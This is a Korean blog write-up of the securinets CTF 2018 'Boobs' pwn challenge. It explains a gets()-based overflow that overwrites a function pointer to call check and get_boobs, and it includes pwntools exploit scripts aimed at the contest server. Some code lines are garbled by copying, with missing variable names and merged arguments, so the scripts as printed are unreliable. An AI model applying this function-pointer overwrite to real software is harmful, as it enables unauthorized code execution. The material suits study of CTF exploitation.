System&Write up/CTF

[securinets CTF 2018] Boobs

Jubil 2018. 3. 27. 00:41
반응형

[securinets CTF 2018] Boobs

 


 

이번에 풀어볼 문제는 2018 3 25 ~ 2018 3 26까지 진행되었던 securinets CTFpwn 중 가장 높은 배점을 가지고 있는 문제입니다. 바이너리는 32bit입니다.

 

 

flag를 얻기 위해서는


check 함수를 실행시켜서 flag를 저 값으로 바꿔주고,

 


get_boobs 함수를 실행시키면 flag가 출력됩니다.

 

어떻게 함수 flow를 바꿔줄 수 있을까요!

 

 


 

main 함수를 분석해보면 우선 이렇게 classroom이 만들어지고,

 


 

이렇게 옵션에 따라 coursecreate 할 수도,

 


 

edit 할 수도,

 


 

delete 할 수도,

 


 

publish 할 수도 있습니다.

 

 

분석해보면 자체적으로 연결 리스트 자료구조를 통해서 course를 관리합니다.

publish를 보면 함수 포인터를 이용해서 함수를 호출하는 부분이 있습니다.

그리고 edit에서 저 (_DWORD *)v10+79에 있는 함수 포인터의 주소를 변경할 수 있습니다. 왜냐하면 gets로 입력을 검증 없이 받기 때문입니다.

 

 

그래서 두 courseadd하고 첫 번째 course의 함수 포인터를 check 함수로, 두 번째 course의 함수 포인터를 get_boobs로 바꿔서 publish 해보겠습니다.

 

 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

from pwn import *

 

#s = process('./boobs')

= remote('34.242.96.216'22222)

= ELF('./boobs')

 

check = 0x08048814

get_boobs = 0x0804884f

 

def create(num, string):

    s.sendline('1')

    s.sendline(num)

    s.sendline('Title' + num)

    s.sendline(string)

 

def edit(num, string):

    s.sendline('1')

    s.sendline(num)

    s.sendline(string)    

 

s.sendline('Start!')

 

create('1''A')

create('2''B')

 

edit('1''A'*258 + p32(check))

edit('2''B'*258 + p32(get_boobs))

 

s.interactive()

cs

 

이렇게 된다면, 원래 함수 포인터에 있던 출력 함수 print_course 대신 checkget_boobs가 실행될 것입니다.

 


 

보면 함수 포인터를 바꿔줌으로써 내가 원하는 순서로 함수를 실행해줄 수 있었습니다.

 

그럼 조건을 맞춰주려면 다시 check 함수를 봐야하는데요.

 


 

인자로 들어오는 a180이면 됩니다.

 


 

여기 ia1으로 들어가기 때문에, i80이려면 course81개 만들어주고, 80의 함수 포인터를 check, 81의 함수 포인터를 get_boobs로 바꿔준다면 flag를 얻을 수 있습니다.

 

 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

from pwn import *

 

#s = process('./boobs')

= remote('34.242.96.216'22222)

= ELF('./boobs')

 

check = 0x08048814

get_boobs = 0x0804884f

 

def create(num, string):

    s.sendline('1')

    s.sendline(num)

    s.sendline('Title' + num)

    s.sendline(string)

 

def edit(num, string):

    s.sendline('1')

    s.sendline(num)

    s.sendline(string)    

 

s.sendline('Start!')

 

for i in range(182):

    create(str(i), 'A')

 

edit('80''A'*258 + p32(check))

edit('81''B'*258 + p32(get_boobs))

 

s.interactive()

 

#Flag{You_Absolutely_Deserve_million_boobs}

cs

 

 


 

감사합니다!


반응형

'System&Write up > CTF' 카테고리의 다른 글

[Codegate 2018] DaysNote  (0) 2018.04.08
[Codegate 2018] betting  (1) 2018.04.06
[TAMUctf 2018] pwn1 ~ pwn5  (0) 2018.02.27
[OpenCTF 2016] tyro_heap  (0) 2018.02.22
[Codegate 2018] BaskinRobins31  (4) 2018.02.09